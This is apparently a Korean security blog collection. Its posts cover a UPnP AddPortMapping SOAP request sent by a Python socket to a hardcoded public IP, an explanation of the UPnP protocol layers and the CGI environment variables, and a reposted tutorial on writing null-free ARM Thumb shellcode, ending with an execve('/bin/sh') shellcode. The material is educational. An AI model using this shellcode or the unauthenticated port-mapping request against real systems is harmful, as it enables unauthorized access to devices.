sock.send("POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.1\r\nCONTENT-TYPE: text/xml; charset=\"utf-8\"\r\nSOAPACTION: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nUser-Agent: Java/1.7.0_09\r\nHost: 210.118.64.148:2048\r\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\nConnection: keep-alive\r\nContent-Length: 579\r\n\r\n<?xml version=\"1.0\"?>\r\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>80</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>test</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n\r\n\r\n")


data = sock.recv(5024)

print data

sock.close()




Posted by k1rha
2012. 12. 1. 19:40

우선 UPNP는 같은 내부에 자신의 디바이스를 알려주는 용도로 많이 사용 되게 된다. 또한 포트포워딩의 용도로도 사용되게 되는데,

포트포워딩의 경우는 한 아이피당 하나의 포트로 1:1 매칭을 시켜주지만, UPNP 의경우 클라이언트 요청에 따라 유드리 있게 바꿔서 설정이 가능하다는 매리트를 안고 있다. 


프로토콜은 XML 방식을 사용하고 있고 

프로그램관련 내용이나 , XML 개발 내용은 많았으나, 실질적으로 구현된 내용이나, 프로그램은 찾기가 정말 어려운 실정인데, 아래 파일을 구하게 되었다.


진짜 관련 내용 찾느라 2일을 거의다 쓴것 같다.. 


http://www.download32.com/upnp-portmapper-i129031.html

PortMapper-1.9.4.jar


jar 파일이고, 자바가 설치 되어있어야 돌아간다.


이제 wireshark 로 돌아다니는 패킷을 잡아다가 분석해서 어떻게 동작하는지 리포팅 하겠다.

Posted by k1rha
2012. 11. 30. 09:08
프로토콜 설명 내용 

1. 개발 환경

OS : Linux

컴파일러: gcc

UPNP SDK(UPNP 라이브러리) : upnp. sourceforge.net 

IGD (UPNP 데몬): igd.sourceforge.net

 

 

2. 용 어

Device: TV, Gateway 등 장치를 뜻한다. C/S 개념으로 서버와 비슷한 개념이다.

Control Point: Device 를 제어하는 장치로서 일반 PC, 노트북을 예로 들수 있다. C/S 개념으로 클라언트와 비교할 수 있다.

 

 

3. UPNP Layer

UPNP 에는 6 Layer 로 구성되어 있다.

 

 

3

Control

(SOAP)

4

Eventing

(GENA)

5

Presentation

(HTTP:HTML)

 

2  Description (HTTP:XML)

 

1 Discovery (SSDP/GENA)

0 Address

 

 

0 Level (Address

 Control point 와 Device 네트워크에 참여하기 위해 IP Address 를 얻어온다.

1 Level (Discovery)

Control point 는 모든 Device 를 찾아내고 Device 자신의 사용 가능여부를 알려준다.

2 Level (Description)

Control point 가 device 에 대한 기본 정보를 가져 온다.

3 Level (Control)

Control point 가 Device를 제어한다.

4 Level (Eventing)

Control point 가 Device 상태를 listen 한다.

5 Level (Presentation

Web 화면을 Device를 정보를 볼 수 있거나 제어 할 수 있다.

Intel Linux 하에서 구현된 upnp sdk 는 Level 1부터 구현되어 있다. Address를 얻어오는 부분은 DHCP 로 얻어 온다.

4. UPNP 프로토콜과 구현

 

 

Upnp 는 SSDP, GENA, SOAP 로 구성되어 있다. SSDP와 GENA 는 UDP 기반위에 멀티 캐스트/유니캐스트 패킷으로 이뤄어 졌고 SOAP는 TCP 기반으로 구성되어 있다. 약간씩 차이는 있지만 기본적인 형태는 HTTP로 이루어 졌기 때문에 UPNP SDK 를 살펴보면 WEB 모듈이 반이상을 차지하는 것을 알 수 있다.


 

 


1) Discovery(SSDP/GENA)

 

Device를 네트워크에 참여시키면 239.255.255.250 패킷 헤더에 NOTIFY , 장치의 고유번호 , 동작여부, Device 를 정의한 xml 파일의 경로 등을 담은 멀티캐스트 udp 패킷을 네트워크로 보낸다(광고한다).

NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age =
 1800
LOCATION: http://192.168.0.9:2869/gatedesc.xml

NTupnp:rootdevice
NTS
ssdp:alive
SERVER: Linux/2.4.12 UPnP/1.0 Intel UPnP SDK/1.0
USNadvertisement UUID

 

 

 


* 이 부분은 upnp sdk 에서 구현되어 있으므로 사용자가 프로그램 해야 할 부분은 UpnpSendAdvertisement 함수를 호출 해주면 된다.

 

 

 

2) Description (HTTP:XML)

Discovery에서 알아낸 Device의 XML description 파일을 얻어 온다. 프로토콜 방식은 HTTP 방식이다.

 

PC 에서 Description 패킷을 받으면 [내 네트워크 환경]에서 Device 가 나타나는걸 볼 수 있다. 이 아이콘을 누르면 바로 Device의 설정화면인 Web 화면으로 넘어간다. Anygate 상에서는 Description 부분이 구현되어 있다면 Device 의 IP 주소를 몰라도 이 아이콘의 클릭만으로 바로 설정 화면으로 들어갈 수 있다.

 

위에 등록 정보 내용을 수정하려면 xml 파일을 수정하면 된다. 우리는 gatedesc.xml 의 기본내용을 담고 있는 gatedesc.skl에서 각 내용을 수정할 수 있다

 

 

3) Control (SOAP)

Control pointer 에서 Device의 정보를 얻어오거나 Device를 제어할 때 사용되는 Control Level 은 Device와 관련된 부분으로 Anygate에 상에 upnp 를 돌리기 위해 가장 많이 구현해야 하는 부분이다.

해더부분은 M-POST 로 시작하며 SOAPACTION 뒤에 오는 각각의 #ActionName(제어시) 과 #QueryStateVariable(Device에 대한 정보) 요청에 대한 응답 부분을 구현해야 한다.

 

M-POST  /upnp/control/WANIPConn1  HTTP/1.1
HOST: 192.168.0.9:2869  CONTENT-TYPE: text/xml; charset="utf-8"
MAN: "http://schemas.xmlsoap.org/soap/envelope/"; ns=0101-

==============================================================

Device를 제어 할 때

SOAPACTION: "urn:schemas-upnp-org:service:serviceType:v#actionName"
==============================================================

Device의 정보를 알고자 할 때

SOAPACTION: "urn:schemas-upnp-org:control-1-0#QueryStateVariable

 

 


 

 

Device 에는 여러 개의 Service 로 이루워져 있는데 인터넷 공유기인 Anygate 는 IGD 를 기반으로 하기 때문에 연결부분 (CONNECT), 설정 부분(CONFIG), Device 의 OS 3개 부분으로 구성되어 있고 각각을 정의한 description 파일 gateconnSCPD.xml, gateicfgSCPD.xml,  gateinfoSCPD.xml 3개가 존재 한다.

 

각각의 서비스에 대한 Action 값은 igd.sourceforge.net 에 정의 되어 있으나 각 부분에 대한 값들은 구현을 해야 된다.

 

if (strcmp(ca_event->ServiceID, GateServiceId[GATE_SERVICE_CONNECT]) == 0)

=>서비스 종류 확인

{

strcpy(service_type, GateServiceType[GATE_SERVICE_CONNECT]);

if (strcmp(ca_event->ActionName, "GetConnectionTypeInfo") == 0)

=> Action 종류 확인

{

action_succeeded = 1;

strcpy(result_param,"<NewConnectionType>IP_Routed</NewConnectionType>

<NewPossibleConnectionTypes>IP_Routed</NewPossibleConnectionTypes>");

=> 이부분이 Device 장치와 관련 부분으로 사용자가 정의 해야 한다.

}

}

ca_event->ErrCode = UPNP_E_SUCCESS;

sprintf(result_str, "<u:%sResponse xmlns:u=\"%s\">\n%s\n</u:%sResponse>",

ca_event->ActionName,service_type,result_param,ca_event->ActionName);

=> Action 이름/ 서비스 종류/ Action 에 대한 value 값을 result_str 에 복사한 다음  result_str 값을 Control point에 보내주면 된다.

 


 

 

 

 


각 서비스에 대한 Action 과 구현은 아래와 같다.

 

연결 부분 (GateServiceId[GATE_SERVICE_CONNECT])에 대한 Action

 

- GetConnectionTypeInfo: 연결 타입으로 IP_Routed 로 정의

- GetNATRSIPStatus: NAT 사용 여부 로 Enable 값은 1로 정의

- GetStatusInfo: 연결 여부, 연결 시간

  Uptime => /proc/uptime 을 이용한다.

- GetExternalIPAddress: 외부 IP 주소

- GetGenericPortMappingEntry: 기본적으로 내장되어 있는 포트포워딩 으로 아래와 같은 값은 만들어서 보내줘야 동작 한다. 
포트 포워딩에 관련된 값들은 호스트 아이피, 외부 포트, 프로토콜, 내부 포트, 내부 아이피 , 사용여부,  포트 포워딩 설명, 사용 시간에 대한 내용을 표시하여 한다. 각각의 값은 아래 굵은 글씨를 참조하면 된다.

<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost>

<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">23</NewExternalPort>

<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol>

<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">23</NewInternalPort>

<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"> 192.168.1.0 </NewInternalClient>

<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes"dt:dt="boolean">0</NewEnabled>

<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"> Telnet </NewPortMappingDescription>

<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4"> 0 </NewLeaseDuration>

 



- GetSpecificPortMappingEntry: 사용자가 직접 입력한 포트 포워딩 Entry

- AddPortMapping : 포트 포워딩 규칙이 추가될 때 동작 한다.

- DeletePortMapping : 포트 포워딩 규칙이 추가될 때 동작 한다.

 

GateServiceId[GATE_SERVICE_CONFIG]

이부분은 RX_PACKET /TX_PACKET 흐름에 대한 정보를 표현한 것으로 -> /proc/net/dev 에서 가져오면 된다.

 

- GetTotalPacketsSent 인터넷 게이트웨이가 보낸 패킷

- GetTotalPacketsReceived 인터넷 게이트웨이가 받은 패킷

- GetCommonLinkProperties: 연결 상태, 속도

 

GateServiceId[GATE_SERVICE_OSINFO]

 

 

UPNP 에서 Control 패킷을 받으면 [내트워크 연결] 를 보면 인터넷 게이트웨이에 Gateway를 설정할 수 있는 부분이 생겼다는걸 알수 있다.

 

위 아이콘을 클릭하면 연결 상태, 기간, 속도, 인터넷 게이트 웨이에서 주고 받은 패킷에 대한 정보가 나온다. 이부분은 Action 을 계속하여 보내므로써 출력된다. 

 

4) Eventing (GENA)

Control Point Device의 정보를 광고 정보를 subscribe , unsubscribe 할때 받는 패킷으로 헤데 부분에 SUBSCRIBE, UNSUBSCRIBE 로 구현되어 있다.

SUBSCRIBE /upnp/event/OSInfo1 HTTP/1.1
HOST: 192.168.0.9
CALLBACK
: <http://192.168.0.79:5000/notify>..
NTupnp:event
TIMEOUT: Second-requested subscription duration

 



5) Presentation

이부분은 일반 HTTP 프로토콜과 같다.

5. Upnp 실행

 

1) 멀티 캐스트 패킷을 받아야 하므로 멀티캐스킹에 라우팅 규칙을 추가해야 한다.

route add -net 239.0.0.0 netmask 255.0.0.0 eth0

upnp 실행 시키려면 [upnpd 외부 IF 내부 IF ] 명령어를 실행하면 된다.

ex)upnpd eth1 eth0

Posted by k1rha
2012. 11. 14. 20:01

CGI 는 웹서버에서 최경량으로 사용할 수 있또록 만든 서버 언어라고 보면 된다. 


CGI 파일은 일반적인 C언어에 CGI만의 환경변수들을 추가 함으로써 처리가 이뤄지게 된다.


첫째로 CGI 프로그래밍에서 첫번째 규약은 시작이 \n 로 되어야 한다. 그래서 대부분 CGI 파일의 시작은


printf("contents-type \n\n") // 처음 엔터부분

으로 시작하는 경우가 많다.


변수의 전달은 query_string 으로 가져오고  Request_URL 는 주소값 전체가 들어가 있다.


즉 /cgi-bin/test.cgi?aaaa=bbbbb

라고 했을때 

getenv("QUERY_STRING"); 의 결과 값으로 aaaa=bbbbb  가 들어가 있게 되고 

getenv("REQUEST_URL); 의 결과 값으로 /cgi-bin/test.cgi?aaaa=bbbbbb 가 들어가 있게 된다.


여러개의 변수를 저장할때는 & 로 가져오기 때문에

가져올때는 &로 짤라서 써야 한다.

보통 strtok 이나 strstr 의 포인터 값을 이용하여 문자열을 파싱해서 끄게 된다.


p=getenv("QUERT_STRING");

reuslt > aaaa=bbbb&cccc=ddddd



REQUEST_METHOD 는 변조가 불가능한 타입이고 , GET, POST 두개의 값으로 전달 되는 경우가 많다.

Posted by k1rha
2012. 11. 13. 16:41

Each time the Web server executes a CGI script, it creates a number of environment variables to pass information to the CGI script. Theses variables inform the CGI script how the script is being invoked as well as provide information about the server and the Web browser being used by the client. Depending on how the CGI script is invoked, some environment variables may not be available in some cases.
Environment variables supplied to CGI scripts are always all uppercase. When they are being accessed by a C Program or Perl Script, or whichever language you are using, be sure to use all uppercase letters.

This section discusses the environment variables available to CGI scripts. By accessing these variables, CGI scripts can obtain certain information, such as the browser used to invoke the script. After the following discussion about environment variables, you learn how to access these variables from a Perl script, as well as a C program via CGI.

 

AUTH_TYPE
Some Web servers can be configured to authenticate users. If the server has authenticated a user, the authentication type used to validate the user is stored in the AUTH_TYPE variable. The authentication type is determined b y examining the Authorization Header the Web server might receive with an HTTP request.

 

CONTENT_LENGTH
Sometimes CGI scripts are invoked with additional information. This information is typically input for the CGI program. The length of this additional information is specified by the number of bytes taken up by the additional information in this variable. If a CGI script is called with the PUT or POST method, CONTENT_LENGTH is used to determine the length of the input.

 

CONTENT_TYPE
MIME content types are used to label various types of objects (HTML files, Microsoft Word files, GIF files, etc.). The MIME content type for data being submitted to a CGI script is stored in CONTENT_TYPE. For example, if data is submitted to a CGI script using the GET method, this variable will contain the value application/x-www-form-urlencoded. This is because responses to the form are encoded according to URL specifications

 

GATEWAY_INTERFACE
The CGI specification revision number stored in the GATEWAY_INTERFACE environment variable. The format of this variable is CGI/revision. By examining this variable, a CGI script can determine the version of CGI that the Web server is using.

 

HTTP_ACCEPT
Various Web clients can handle different MIME types. These MIME types are described in the HTTP_ACCEPT variable. MIME types accepted by the Web client calling the CGI script will be a list separated by commas. This list takes the format type/subtype, type/subtype. For example, if the Web client supports the two image formats GIF and JPEG, the HTTP_ACCEPT list will contain the two items image/gif, image/jpeg.

 

HTTP_USER_AGENT
By looking at this value, the Web browser used by the client can be determined. For example, if Netscape 2.0 beta 4 is being used by the client, the HTTP_USER_AGENT variable will contain the value Mozilla/2.0b4 (WinNT; I). The general format of this variable is software/version library/version.

 

PATH_INFO
The PATH_INFO variable is usually used to pass various options to a CGI program. These options follow the script's URL. Clients may access CGI scripts with additional information after the URL of the CGI script. PATH_INFO will always contain the string that was used to call the CGI script after the name of the CGI script. For example, PATH_INFO will have the value /These/Are/The/Arguments if the CGI script FunWithNT.EXE is called with the following URL :
http://your_server.your_domain/cgi-bin/FunWithNT.exe/These/Are/The/Arguments

 

PATH_TRANSLATED
In the event the CGI script needs to know the absolute path name of itself, the CGI script can obtain this information from PATH_TRANSLATED. For example, if the CGI script being invoked is HelloNTWorld.EXE, all CGI scripts are stored in H:\www\http\ns-home\root\cgi-bin, and the CGI script is accessed with the URL http://your_server.your_domain/root/cgi-bin/HelloNTWorld.EXE, PATH_TRANSLATED will contain the value the value H:\www\http\ns-home\root\cgi-bin\HelloNTWorld.EXE. If the CGI program needs to save or access any temporary files in its home directory, it can use PATH_TRANSLATED to determine its absolute location by examining this CGI variable.

 

QUERY_STRING
You may have noticed that when you submit some forms, there is a string of characters after a question mark, followed by the URL name of the script being called. This string of characters is referred to as the query string and contains everything after the question mark. When a CGI script is called with the GET method, QUERY_STRING typically contains variables and their values as entered by the person who filled in the form. QUERY_STRING is sometimes used by various search engines to examine the input when a form is submitted for a keyword search. For example, if a CGI applications is executed using the URL, http://www.server.com/cgi-bin/application.exe?WindowsNT=Fun, QUERY_STRING will contain the string "WindowsNT=Fun".

 REMOTE_ADDR
The IP address of the client that called the CGI program is stored in the REMOTE_ADDR environment variable. Due to security reasons, the value of this variable should never be used for user authentication purposes. It's not very hard to trick your Web server into believing a client is connecting to your Web server from a different IP address.

REMOTE_HOST
If the Web server can do a DNS lookup of the client's IP address and finds the alias of the IP address, the REMOTE_HOST variable will contain the alias name of the client's IP address. Some Web server allow DNS lookups to be turned on or off. If you will be using this variable to find the IP address alias of clients, be sure the DNS lookup option is turned on. The Web server can find the IP address aliases of most clients, but it might not be capable of getting the aliases of some clients. In such an event, the REMOTE_HOST variable will not be assigned the client's DNS alias value, it will just contain the client's IP address. This value should never be used for user authentication purposes.

 

REMOTE_IDENT
If the Web server being used supports RFC 931 identification, this variable will contain the user name retrieved from the server. Unfortunately, this value cannot be trusted when transmitting sensitive data. Typically a Web server obtains this value by contacting the client that initialized the HTTP request and speaking with the client's authentication server.

 

REMOTE_USER
Some Web server support user authentication. If a user is authenticated, the CGI script can find out the username of the person browsing the Web site by looking at the value of the REMOTE_USER environment variable. The REMOTE_USER CGI variable is available only if the user has been authenticated using an authentication mechanism.

 

REQUEST_METHOD
A client can call a CGI script in a number o f ways. The method used by the client to call the CGI script i s in the REQUEST_METHOD variable. This variable can have a value like HEAD, POST, GET, or PUT. CGI scripts use the value of this variable to find where to obtain data passed to the CGI script.

 

SCRIPT_NAME
All files on a Web server are usually referenced relative to its document root directory. SCRIPT_NAME contains the virtual path name of the script called relative to the document root directory. For example, if the document root directory is c:\www\http\ns-home\root, all CGI scripts are stored in c:\www\http\ns-home\root\cgi-bin\ and the CGI script HelloNTWorld.EXE is called, the SCRIPT_NAME variable will contain the value \cgi-bin\HelloNTWorld.EXE. The advantage of this variable is that is allows the CGI script to refer to itself. This is handy if somewhere in the output, the script's URL needs to be made into a hypertext link.

 

SERVER_NAME
The domain name of the Web server that invoked the CGI script is stored in this variable. This domain name can either be an IP address or DNS alias.

 

SERVER_PORT
Typically, Web servers listen to HTTP requests on port 80. However, a Web server can listen to any port that's not in use by another application. A CGI program can find out the port the Web server is serving HTTP requests by looking at the value of the SERVER_PORT environment variable. When displaying self-referencing hypertext links at runtime by examining the contents of SERVER_NAME, be sure to append the port number of the Web server (typically port 80) by concatenating it with the value of SERVER_PORT.

 

SERVER_PROTOCOL
Web servers speak the HyperText Transport Protocol (HTTP). The version of HTTP the Web server is using can be determined by examining the SERVER_PROTOCOL environment variable. The SERVER_PROTOCOL variable contains the name and revision data of the protocol being used. This information is in the format protocol/revision. For example, if the server speaks HTTP 1.0, this variable will have the value HTTP/1.0.

 

SERVER_SOFTWARE
The name of the Web server that invoked the CGI script is stored in the SERVER_SOFTWARE environment variable. This environment variable is in the format name/version. If a CGI script is designed to make use of various special capabilities of a Web server, the CGI script can determine the Web server being used by examining this variable before those special capabilities are used.
 
References :
Sanjaya Hettihewa, Windows NT 4, Web Development, Sams net, Indianapolis, First Edition, 1996

출처 : http://www.invir.com/int-prog-cgivar.html
 

 

Posted by k1rha
2012. 11. 13. 02:52

How to Create a Shellcode on ARM Architecture

	Title:          [English] How to create a shellcode on ARM architecture ?
	Language:       English 
	Author:         Jonathan Salwan - twitter: @jonathansalwan
	Translated by:  Arona Ndiaye
	Date:           2010-11-25


	Original version: http://howto.shell-storm.org/files/howto-4-en.php



	I - Introduction to the ARM architecture
	=========================================

	The ARM architecture was originally conceived for a computer sold by Acorn. 
	It morphed to then become an independent offer in the market of Embedded Computing. 
	ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine.

	The most famous  core is the ARM7TDMI which is graced with 3 pipeline levels. 
	The ARM7TDMI  even has a  second set of instructions  called THUMB which  allows 16-bits 
	addressing,  and significant memory gains especially in the field of embedded computing. 
	The ARM  architecture is also quite present  in the  field of Mobile Computing. Numerous 
	operating systems have been ported to that architecture. A non-exhaustive list includes:
	Linux (used  by Maemo on the N900  and  Android  on the Nexus One), Symbian S60 with the 
	Nokia N97 or Samsung Player HD,  iPhone  with the  iPhone  and iPad  and Windows Mobile.

	ARM Ltd followed up by  releasing the  ARM9 core which shifted to a five stage pipeline, 
	reducing the number of logical  operations per clock cycle and therefore nearly doubling 
	the clock frequency. 



	II - ARM/Linux shellcode: first attempt
	========================================

	For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core.
	Let's start by having a look at the register conventions.

		Register  	Alt. Name  	Usage
		r0 		a1 		First function argument Integer function result Scratch register
		r1 		a2 		Second function argument Scratch register
		r2 		a3 		Third function argument Scratch register
		r3 		a4 		Fourth function argument Scratch register

		r4 		v1 		Register variable
		r5 		v2 		Register variable
		r6 		v3 		Register variable
		r7 		v4 		Register variable
		r8 		v5 		Register variable
		r9 		v6
				rfp 		Register variable Real frame pointer

		r10 		sl 		Stack limit
		r11 		fp 		Argument pointer
		r12 		ip 		Temporary workspace
		r13 		sp 		Stack pointer
		r14 		lr 		Link register Workspace
		r15 		pc 		Program counter


	So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will 
	be for variables. On the other hand register r7 will store the address of the Syscall to execute. 

	Register r13 points to the stack and register r15 points to the next address to execute. 

	These two registers can be compared to the ESP and EIP registers under x86, even though register 
	operations greatly differ between ARM and x86.

	Let's start by writing a shellcode that will first call the syscall _write and then the _exit one.
	We first need to know the address of the syscalls. We'll do as we usually do:

	root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
	#define __NR_write			(__NR_SYSCALL_BASE+  4)
	#define __NR_writev			(__NR_SYSCALL_BASE+146)
	#define __NR_pwrite64			(__NR_SYSCALL_BASE+181)
	#define __NR_pciconfig_write		(__NR_SYSCALL_BASE+273)


	root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
	#define __NR_exit			(__NR_SYSCALL_BASE+  1)
	#define __NR_exit_group			(__NR_SYSCALL_BASE+248)


	Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments: 
	write(int __fd, __const void *__buf, size_t __n)

	Which gives us:
	r0 => 1			(output)		
	r1 => shell-storm.org\n (string)
	r2 => 16 		(strlen(string))
	r7 => 4 		(syscall)

	r0 => 0
	r7 => 1	

	Here's what we get in assembly:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		# _write()
		mov 	r2, #16
		mov	r1, pc		<= r1 = pc
		add	r1, #24		<= r1 = pc + 24 (which points to our string)
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write#
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)


	Everything seems to work fine so far, however in order create our shellcode, we should have no null 
	bytes, and our code is full of them.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e3a02010 	mov	r2, #16	; 0x10
	    8058:	e1a0100f 	mov	r1, pc
	    805c:	e2811018 	add	r1, r1, #24
	    8060:	e3a00001 	mov	r0, #1	; 0x1
	    8064:	e3a07004 	mov	r7, #4	; 0x4
	    8068:	ef000000 	svc	0x00000000
	    806c:	e0400000 	sub	r0, r0, r0
	    8070:	e3a07001 	mov	r7, #1	; 0x1
	    8074:	ef000000 	svc	0x00000000
	    8078:	6c656873 	stclvs	8, cr6, [r5], #-460
	    807c:	74732d6c 	ldrbtvc	r2, [r3], #-3436
	    8080:	2e6d726f 	cdpcs	2, 6, cr7, cr13, cr15, {3}
	    8084:	0a67726f 	beq	19e4a48 <__data_start+0x19d49c0>

	Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our 
	calls as opposed to 32 bits, which does simplify our life at this stage.

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		.code 32
		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6

		.code 	16
		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #12
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org

	When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute 
	reader will have noticed that I have changed the value of the constant being added to r1. Instead 
	of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", 
	the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write
	write:     file format elf32-littlearm

	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310c      	adds	r1, #12
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df00      	svc	0
	    8068:	1a00      	subs	r0, r0, r0
	    806a:	2701      	movs	r7, #1
	    806c:	df00      	svc	0
	    806e:	6873      	ldr	r3, [r6, #4]
	    8070:	6c65      	ldr	r5, [r4, #68]
	    8072:	2d6c      	cmp	r5, #108
	    8074:	7473      	strb	r3, [r6, #17]
	    8076:	726f      	strb	r7, [r5, #9]
	    8078:	2e6d      	cmp	r6, #109
	    807a:	726f      	strb	r7, [r5, #9]
	    807c:	0a67      	lsrs	r7, r4, #9

	That's better, all that we have left now to do is to modify the following instructions: "svc 0" 
	and "sub r0, r0, r0".

	For SVC we'll use "svc 1" which is perfect in this case.
	For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" 
	as that will include a null byte. The only trick so far that I've come across is:

	sub r4, r4, r4
	mov r0, r4

	Which gives us:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:
		.code 32

		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6
		.code 	16

		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #14		<==== We changed the address again, since in exit() we've added
		mov 	r0, $0x1	      instructions which messed it all up.
		mov 	r7, $0x4
		svc 	1

		# _exit()
		sub	r4, r4, r4
		mov	r0, r4
		mov 	r7, $0x1
		svc	1
	.ascii "shell-storm.org\n"
	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)                                 = ?
	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1	; 0x1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310e      	adds	r1, #14
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df01      	svc	1
	    8068:	1b24      	subs	r4, r4, r4
	    806a:	1c20      	adds	r0, r4, #0
	    806c:	2701      	movs	r7, #1
	    806e:	df01      	svc	1
	    8070:	6873      	ldr	r3, [r6, #4]
	    8072:	6c65      	ldr	r5, [r4, #68]
	    8074:	2d6c      	cmp	r5, #108
	    8076:	7473      	strb	r3, [r6, #17]
	    8078:	726f      	strb	r7, [r5, #9]
	    807a:	2e6d      	cmp	r6, #109
	    807c:	726f      	strb	r7, [r5, #9]
	    807e:	0a67      	lsrs	r7, r4, #9



	Here we are, we've got an operational shellcode without any null bytes. In C that gives us:

	root@ARM9:/home/jonathan/shellcode/write/C# cat write.c 

	#include <stdio.h>

	char *SC = 	"\x01\x60\x8f\xe2"
			"\x16\xff\x2f\xe1"
			"\x10\x22"
			"\x79\x46"
			"\x0e\x31"
			"\x01\x20"
			"\x04\x27"
			"\x01\xdf"
			"\x24\x1b"
			"\x20\x1c"
			"\x01\x27"
			"\x01\xdf"
			"\x73\x68"
			"\x65\x6c"
			"\x6c\x2d"
			"\x73\x74"
			"\x6f\x72"
			"\x6d\x2e"
			"\x6f\x72"
			"\x67\x0a";


	int main(void)
	{
		fprintf(stdout,"Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();
	return 0;
	}

	root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
	write.c: In function 'main':
	write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
	root@ARM9:/home/jonathan/shellcode/write/C# ./write 
	Length: 44
	shell-storm.org




	III - execv("/bin/sh", ["/bin/sh"], 0)
	=======================================

	Now let's study a shellcode called execve(). The structure should look like this:

	r0 => "//bin/sh"
	r1 => "//bin/sh"
	r2 => 0

	r7 => 11


	root@ARM9:/home/jonathan/shellcode/shell# cat shell.s 
	.section .text
	.global _start
	_start:
		.code 32			// 
		add 	r3, pc, #1		// This whole section is for "Thumb Mode"
		bx	r3			//
		.code 16			//

		mov 	r0, pc			// We place the address of pc in r0
		add 	r0, #10			// and add 10 to it (which then makes it point to //bin/sh)
		str	r0, [sp, #4]		// we place it on the stack  (in case we need it again)

		add  r1, sp, #4			// we move what was on the stack to r1

		sub	r2, r2, r2		// we subtract r2 from itself (which is the same as placing 0 in r2)

		mov 	r7, #11			// syscall execve in r7
		svc 	1			// we execute

	.ascii "//bin/sh"

	root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
